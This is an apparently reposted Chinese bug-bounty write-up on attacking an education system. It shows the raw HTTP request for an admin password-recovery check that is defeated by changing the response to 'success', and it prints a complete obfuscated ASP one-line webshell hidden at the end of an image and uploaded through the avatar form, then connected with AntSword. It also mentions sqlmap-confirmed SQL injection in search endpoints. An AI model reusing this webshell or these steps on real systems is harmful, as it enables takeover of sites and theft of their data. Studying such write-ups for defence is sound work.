文章总结： 本文记录了某教育系统的漏洞挖掘过程。首先通过修改找回密码接口的返回包实现任意管理员密码重置，获取后台权限。随后利用头像上传功能上传ASP图片马成功Getshell。此外，还发现检索功能存在多处SQL注入漏洞，经SQLMap验证后确认风险。最终作者成功获取系统控制权并提升了SRC排名。
综合评分： 75
文章分类： WEB安全,渗透测试,SRC活动,漏洞分析,实战经验

edu漏洞挖掘：任意密码重置管理员账户&getshell

安全小生

安全笑笑生

2026年1月6日 20:27
江西

任意用户密码重置

登录口找回密码：

输入找回admin 下一步

虽然是后四位 可以直接爆破 但是这里不用 直接随便输入一个抓包

GET /ajax/Users/xxxxxxxxxxxs.aspx?LoginName=admin&Panswer=1111 HTTP/1.1              Host: xxxxxxxxxxxxxx              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36              Content-Type: application/x-www-form-urlencoded              Accept: /Referer: xxxxxxxxxxxxxxxxxxxxx              Accept-Encoding: gzip, deflate, br              Accept-Language: zh-CN,zh;q=0.9              Cookie: ASP.NET_SessionId=du0gw5bpvjkg3gnuagelkn2d              Connection: keep-alive

把返回包的数据修改为success

输入密码 修改成功

他这个个人社区的账户是和后台管理的账户是绑定的

账户密码是一样的

登入成功 进而可以修改网站的所有配置

更新头像处getshell

因为上传的返回包不会返回路径 先上传一个正常的图片 获得路径

然后再抓一个上传正常的图片的包 上传asp 在图片末尾加入一句话

<%&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class C8Ch &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Public Property Let SXEWH(Db4X836F5) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Execute&nbsp;Left(Db4X836F5,&nbsp;9999) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;End&nbsp;Property &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;End&nbsp;Class &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Set&nbsp;a&nbsp;=&nbsp;New&nbsp;C8Ch &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;a.SXEWH&nbsp;=&nbsp;Request("shell") &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;%>

上传成功  http://xxxxxxxx/xxxxxx/xxxxx/admin.asp

也是用蚁剑成功连接

还有大量sql注入

抓此处检索的包

发现单引号报错

这边图方便 直接sqlmap 一把梭

也是找到了三个接口存在sql注入

最后也是共计拿下12rank

bytheway

如果有师傅想法案例或者发什么文章的话，只要和安全相关直接私信我笑笑生就好了

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：安全笑笑生 安全小生《edu漏洞挖掘：任意密码重置管理员账户&getshell》